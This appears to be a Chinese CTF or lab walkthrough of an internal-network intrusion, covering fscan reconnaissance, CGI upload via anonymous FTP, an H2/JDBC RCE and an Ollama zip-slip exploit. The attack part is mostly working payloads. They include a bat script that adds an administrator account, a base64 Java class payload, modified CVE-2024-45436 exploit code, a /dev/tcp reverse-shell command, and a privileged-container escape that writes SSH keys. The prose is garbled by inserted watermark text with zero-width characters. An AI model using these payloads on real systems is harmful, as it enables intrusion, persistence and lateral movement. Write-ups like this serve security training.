[1.8s] [*] 端口开放 172.22.10.88:21
[1.8s] [*] 端口开放 172.22.10.88:80
[1.8s] [*] 端口开放 172.22.10.88:445
[1.8s] [*] 端口开放 172.22.10.88:139
[1.8s] [*] 端口开放 172.22.10.88:135
[7.8s] [*] 端口开放 172.22.10.88:3389
[43.2s] [*] 端口开放 172.22.10.88:47001
[44.7s] [*] 端口开放 172.22.10.88:49664
[44.7s] [*] 端口开放 172.22.10.88:49665
[44.7s] [*] 端口开放 172.22.10.88:49666
[44.7s] [*] 端口开放 172.22.10.88:49667
[44.7s] [*] 端口开放 172.22.10.88:49669
[44.7s] [*] 端口开放 172.22.10.88:49668
[44.7s] [*] 端口开放 172.22.10.88:49670
[44.8s] [*] 端口开放 172.22.10.88:49679
[55.1s]     扫描完成, 发现 15 个开放端口
[55.1s]     存活端口数量: 15
[55.1s]     开始漏洞扫描
[55.1s] [*] NetInfo 扫描结果
目标主机: 172.22.10.88
主机名: web02
发现的网络接口:
   IPv4地址:
      └─ 172.22.10.88
[55.1s] [*] 网站标题 http://172.22.10.88       状态码:200 长度:46     标题:无标题
[55.2s] [+] NetBios 172.22.10.88    WORKGROUP\WEB02
[55.2s]     POC加载完成: 总共387个,成功387个,失败0个
[55.2s] [+] FTP服务 172.22.10.88:21 匿名登录成功!
[1m18s]     扫描已完成: 10/10

database:

root@web01:~# ./FScan_2.0.1_linux_x64 -h 172.22.10.7 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[40.9s] [*] 端口开放 172.22.10.7:8080
[5m31s]     扫描完成, 发现 1 个开放端口
[5m31s]     存活端口数量: 1
[5m31s]     开始漏洞扫描
[5m32s]     POC加载完成: 总共387个,成功387个,失败0个
[5m32s] [*] 网站标题 http://172.22.10.7:8080   状态码:200 长度:6010   标题:金融数据库管理界面
[5m33s]     扫描已完成: 2/2

ollama:

root@web01:~# sudo ./FScan_2.0.1_linux_x64 -h 172.22.10.17 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
[1.8s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s]     有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.10.17:22
[2.2s] [*] 端口开放 172.22.10.17:11434
[3.6s]     扫描完成, 发现 2 个开放端口
[3.6s]     存活端口数量: 2
[3.6s]     开始漏洞扫描
[35.9s]     扫描已完成: 1/1

2. web02

172.22.10.88:21 匿名登录 FTP
172.22.10.88:80 对应 FTP 处的 Web 服务

使用 SFTP 𝐬‌3𝐯e𝒏·​si‌​t𝐞‌读 FTP 资源,得到一个 .htaccessindex.html

Apache 𝐬​​⑶ⅴe𝐧.​𝘀𝐢​𝘵e‌文档 cgi 部分 可以发现,通过修改 .htaccess 可以把文件当作 cgi 直接执行

修改 .htac𝘴‌⑶𝐯ℯn.‍​ꜱite‍‍cess 为:

Options ExecCGI
SetHandler cgi-script

此时该目录下的所有文件会被当作 𝒔‍⑶𝒗ℯ𝒏.si‌​t𝐞​cgi 直接执行

编写一个 bat 𝒔​‍3𝐯e𝘯•​ꜱi‌‌𝐭e‍脚本并上传到 FTP 目录下:

@echo off

echo Content-Type: text/plain

echo:
dir C:\Users\Administrator\Desktop

echo:
type C:\Users\Administrator\Desktop\f1ag.txt

echo:
net user s3ven xxxxxx /add && net localgroup administrators s3ven /add

:: 或者直接修改administrator的密码
:: net user administrator xxxxxx

访问对应路由即可实现s‍⑶𝒗𝐞n․‍‌ꜱi‌𝒕℮回显 RCE:

curl http://172.22.10.88/1.bat | iconv -f gbk -t utf-8

使用创建的用户或 administrator 登录 𝘀‍‌3ⅴe𝐧.‌𝐬i‍𝐭𝘦RDP 后查看网卡:

PS C:\Windows\system32> ipconfig

Windows IP 配置


以太网适配器 以太网:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::d497:7e6e:9a96:1023%6
   IPv4 地址 . . . . . . . . . . . . : 172.22.10.88
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 172.22.10.253

只有一张网卡,没有多余的网卡,ꜱ‌𝟯ve𝒏.si‍𝘵℮‌因此不需要进一步横向,同时系统中也没有什么有用的文件和信息

3. database

172.22.10.7:8080 金融数据库管理界面

根据报错页面可以判断系统使用的是 𝐬​3ⅴℯ𝒏.‍sⅈ‌𝘵e​‌Spring 框架

存在 /h2-console 路由,尝试页面中列出的所有驱动后发现存在 ѕ‌3ⅴℯn·‍ѕⅈ‌t℮PostgreSQL 的驱动依赖

因此尝试打不出网的 Tomcat 临时文件驻留 + socketFactory ѕ​⑶𝘷e𝒏.‌𝒔i‌‌𝒕𝐞‍加载 Spring XML Bean 的回显 JDBC RCE

使用 java-chains 构造回显 ѕ​‍𝟯v𝐞n∙​ѕi‍‍te‌xml bean

image-12.png

通过 boundary s‌⑶ⅴ𝘦n.sⅈ‍te‌​分段而不终结实现 Tomcat 临时文件驻留

POST / HTTP/1.1
Host: 172.22.10.7:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTybnkzTPpCAPkAti
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Length: 7982

------WebKitFormBoundaryTybnkzTPpCAPkAti
Content-Disposition: form-data; name="file"; filename="test.txt"

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBOwEASG9yZy9hcGFjaGUvYmVhbnV0aWxzL2NveW90ZS91dGlsL1R5cGVLZXk1YmU4NWI4MGI0OTE0OTc4OWQ3NzA4MmE3ZTUxYTFjNgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAHDAAFAAYKAAQACQEAA3J1bgwACwAGCgACAAwBABBnZXRSZXFIZWFkZXJOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9YLUF1dGhvcml6YXRpb24IABABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABIBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAUAQAQamF2YS9sYW5nL1RocmVhZAcAFgEACmdldFRocmVhZHMIABgBAA9qYXZhL2xhbmcvQ2xhc3MHABoBABJbTGphdmEvbGFuZy9DbGFzczsHABwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB4AHwoAGwAgAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAiAQANc2V0QWNjZXNzaWJsZQEABChaKVYMACQAJQoAIwAmAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAAoACkKACMAKgEAE1tMamF2YS9sYW5nL1RocmVhZDsHACwBAAdnZXROYW1lDAAuAA8KABcALwEABGh0dHAIADEBABBqYXZhL2xhbmcvU3RyaW5nBwAzAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMADUANgoANAA3AQAIQWNjZXB0b3IIADkBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMADsAPAoABAA9AQAGdGFyZ2V0CAA/AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQQBCCgAbAEMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcARQoARgAmAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEgASQoARgBKAQAIZW5kcG9pbnQIAEwBAAZ0aGlzJDAIAE4BAAdoYW5kbGVyCABQAQANZ2V0U3VwZXJjbGFzcwwAUgA8CgAbAFMBAAZnbG9iYWwIAFUBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAFcAWAoAGwBZAQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwgAWwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAXQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAF8AYAoAXgBhCgAbAC8BAApwcm9jZXNzb3JzCABkAQATamF2YS91dGlsL0FycmF5TGlzdAcAZgEABHNpemUBAAMoKUkMAGgAaQoAZwBqAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABIAGwKAGcAbQEAA3JlcQgAbwEAB2dldE5vdGUIAHEBABFqYXZhL2xhbmcvSW50ZWdlcgcAcwEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAdQB2CQB0AHcBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAeQB6CgB0AHsBAAlnZXRIZWFkZXIIAH0BAAlnZXRNZXRob2QMAH8AHwoAGwCADAAOAA8KAAIAggEAC2dldFJlc3BvbnNlCACEAQAJZ2V0V3JpdGVyCACGAQAOamF2YS9pby9Xcml0ZXIHAIgBAAZoYW5kbGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAigCLCgACAIwBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAjgCPCgCJAJABAAVmbHVzaAwAkgAGCgCJAJMBAAVjbG9zZQwAlQAGCgCJAJYBAARleGVjAQAHb3MubmFtZQgAmQEAEGphdmEvbGFuZy9TeXN0ZW0HAJsBAAtnZXRQcm9wZXJ0eQwAnQCLCgCcAJ4BAAt0b0xvd2VyQ2FzZQwAoAAPCgA0AKEBAAN3aW4IAKMBAAcvYmluL3NoCAClAQACLWMIAKcBAAdjbWQuZXhlCACpAQACL2MIAKsBABFqYXZhL2xhbmcvUnVudGltZQcArQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAK8AsAoArgCxAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAmACzCgCuALQBABFqYXZhL2xhbmcvUHJvY2VzcwcAtgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMALgAuQoAtwC6AQARamF2YS91dGlsL1NjYW5uZXIHALwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAAUAvgoAvQC/AQACXGEIAMEBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAMMAxAoAvQDFAQAACADHAQAHaGFzTmV4dAEAAygpWgwAyQDKCgC9AMsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAzQoAzgAJAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DADQANEKAM4A0gEABG5leHQMANQADwoAvQDVAQAIdG9TdHJpbmcMANcADwoAzgDYAQAKZ2V0TWVzc2FnZQwA2gAPCgAIANsBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDdAQATamF2YS9pby9JbnB1dFN0cmVhbQcA3wEABmV5SmVYQQgA4QEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAOMA5AoANADlAQAGbGVuZ3RoDADnAGkKADQA6AEABmNoYXJBdAEABChJKUMMAOoA6woANADsAQAVKEMpTGphdmEvbGFuZy9TdHJpbmc7DAB5AO4KADQA7wEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADxAPIKAHQA8wEAAS4IAPUBAAdpbmRleE9mDAD3APIKADQA+AEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsMAPoA+woANAD8AQAMYmFzZTY0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</value>

            </list>

        </property>

    </bean>

    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="5111"/>
    </bean>

    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
------WebKitFormBoundaryTybnkzTPpCAPkAti

最后构造 JDBC URL 实例化临时驻留的 𝘀‌‌³ven.‍ꜱ𝘪‍t𝘦‍xml bean 触发回显 RCE 获得 flag:

jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=file://${catalina.home}/work/Tomcat/localhost/ROOT/*.tmp

4. ollama

172.22.10.17:11434 存在 ollama 服务

先查看一下 os‌³𝘷e𝘯•​ѕ𝐢​𝒕e‍‍llama 的版本

curl http://172.22.10.17:11434/api/version

{"version":"0.1.46"}

版本号为 0.1.46,存在 Zip Slip 漏洞,但是该漏洞需要先有一个可用模型才能触发

curl http://172.22.10.17:11434/api/tags

{"models":[]}

远程没有发现可用模型,且靶机没有网无法 pull 𝐬‍‍⑶𝒗ℯ𝐧·​‍𝘴i‌‍𝐭e‍‌模型,需要本地上传模型来触发漏洞

使用 Ollama CVE-2024-45436 Exploit,修改为本地上传 gguf ꜱ⑶𝐯e𝘯.‍ꜱi‍t𝐞‍‌然后手动 create 模型:

    with zipfile.ZipFile('evil.zip', 'w') as zipf:
        zipf.writestr('../../../../../../../../../../etc/ld.so.preload', '/tmp/hook.so')
        with open('hook.so', 'rb') as so_file:
            zipf.writestr('../../../../../../../../../../tmp/hook.so', so_file.read())
+		with open('all-minilm-22m.gguf', 'rb') as model_file:
+			zipf.writestr('../../../../../../../../../../tmp/all-minilm-22m.gguf', model_file.read())
    return True

-	json_content = json.dumps({"name": model})
+	json_content = json.dumps({"name": "all-minilm:22m", "modelfile": f"FROM /tmp/all-minilm-22m.gguf"})
    res = requests.post(
-		f"{target_url}/api/pull", 
+		f"{target_url}/api/create",
        headers={'Content-Type': 'application/json'}, 
        data=json_content,
-		timeout=120  # Allow longer timeout for model pull
+		timeout=10
    )

跑 exp 反弹𝐬‌3ve𝒏.ꜱ𝘪​𝐭e​​ shell:

proxychains python3 exp.py http://172.22.10.17:11434 "/bin/sh -i >& /dev/tcp/172.22.10.22/8083 0>&1"

拿到 shell 𝘴‍𝟯𝘷en·‌‍𝘀𝘪​𝘵𝐞‍​之后发现存在 .dockerenv,判断当前是在 docker 里:

$ ls -la /

-rwxr-xr-x   1 root root    0 Jul 14 05:23 .dockerenv

查看 dockerꜱ‌³ven∙​𝒔i‌𝘵e​ 容器权限:

$ grep -E 'Cap(Inh|Prm|Eff|Bnd|Amb):|Seccomp:' /proc/self/status

CapInh:	0000000000000000
CapPrm:	0000003fffffffff
CapEff:	0000003fffffffff
CapBnd:	0000003fffffffff
CapAmb:	0000000000000000
Seccomp:	0

发现当前容器为特权容器,直接挂载宿主机根目录并写入 ssh key:

$ lsblk -f

NAME   FSTYPE FSVER LABEL UUID FSAVAIL FSUSE% MOUNTPOINTS
vda                                           
|-vda1                                        
|-vda2                                        
`-vda3                           32.2G    13% /etc/hosts
                                              /etc/hostname
                                              /etc/resolv.conf
                                              /root/.ollama

$ mkdir /test && mount /dev/vda3 /test
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdsRDDmr8YmYWyHqAnpDB46G3F9+nr6zhPxzfOQTJJ+" > /test/root/.ssh/authorized_keys

这里也可以传一个 cdk s​³ven.‍ꜱi‌​𝒕e来自动化逃逸:

+	with open('cdk_linux_amd64', 'rb') as cdk_file:
+		zipf.writestr('../../../../../../../../../../tmp/cdk', cdk_file.read())
chmod +x /tmp/cdk
/tmp/cdk auto-escape "echo 'ZWNobyAic3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSURkc1JERG1yOFltWVd5SHFBbnBEQjQ2RzNGOStucjZ6aFB4emZPUVRKSisiID4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXM=' | base64 -d | bash"

all exploits are finished, auto exploit success!

ssh 登录后查看网卡:

root@Ollama:~# ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:2cff:fecb:7254  prefixlen 64  scopeid 0x20<link>
        ether 02:42:2c:cb:72:54  txqueuelen 0  (Ethernet)
        RX packets 16073  bytes 858401 (858.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23199  bytes 415329894 (415.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.17  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe10:d9d4  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:d9:d4  txqueuelen 1000  (Ethernet)
        RX packets 502671  bytes 458217126 (458.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 231109  bytes 13688236 (13.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.20.11  netmask 255.255.255.0  broadcast 172.22.20.255
        inet6 fe80::216:3eff:fe10:d9e5  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:10:d9:e5  txqueuelen 1000  (Ethernet)
        RX packets 13188  bytes 1615163 (1.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15242  bytes 2310239 (2.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 51086  bytes 4182773 (4.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 51086  bytes 4182773 (4.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth5a67c36: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::5471:18ff:fe4d:6e43  prefixlen 64  scopeid 0x20<link>
        ether 56:71:18:4d:6e:43  txqueuelen 0  (Ethernet)
        RX packets 16073  bytes 1083423 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23215  bytes 415331110 (415.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

扫描二层内网对应网段

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.0/24
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[3.4s]     已选择服务扫描模式
[3.4s]     开始信息扫描
[3.4s]     CIDR范围: 172.22.20.0-172.22.20.255
[3.4s]     generate_ip_range_full
[3.4s]     解析CIDR 172.22.20.0/24 -> IP范围 172.22.20.0-172.22.20.255
[3.4s]     最终有效主机数量: 256
[3.4s]     开始主机扫描
[3.4s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[3.4s] [*] 目标 172.22.20.11    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.165   存活 (ICMP)
[3.4s] [*] 目标 172.22.20.25    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.253   存活 (ICMP)
[3.4s] [*] 目标 172.22.20.38    存活 (ICMP)
[3.4s] [*] 目标 172.22.20.32    存活 (ICMP)
[6.4s]     存活主机数量: 6
[9.6s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.32             
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.25
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.165
[9.7s] [*] NetInfo 扫描结果
目标主机: 172.22.20.38
主机名: FPSRVIIS03
发现的网络接口:
   IPv4地址:
      └─ 172.22.20.38
[9.7s] [+] NetBios 172.22.20.32    FPCORP\FPSRVFS02 
[9.7s] [+] NetBios 172.22.20.25    DC:FPCORP\FPSRVAD01
[9.7s] [+] NetBios 172.22.20.165   FPCORP\FPSRVIIS03-2
[9.7s] [+] NetBios 172.22.20.38    FPCORP\FPSRVIIS03

FPSRVIIS03:

root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.38 -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.8s]     已选择服务扫描模式
[1.8s]     开始信息扫描
[1.8s]     最终有效主机数量: 1
[1.8s]     开始主机扫描
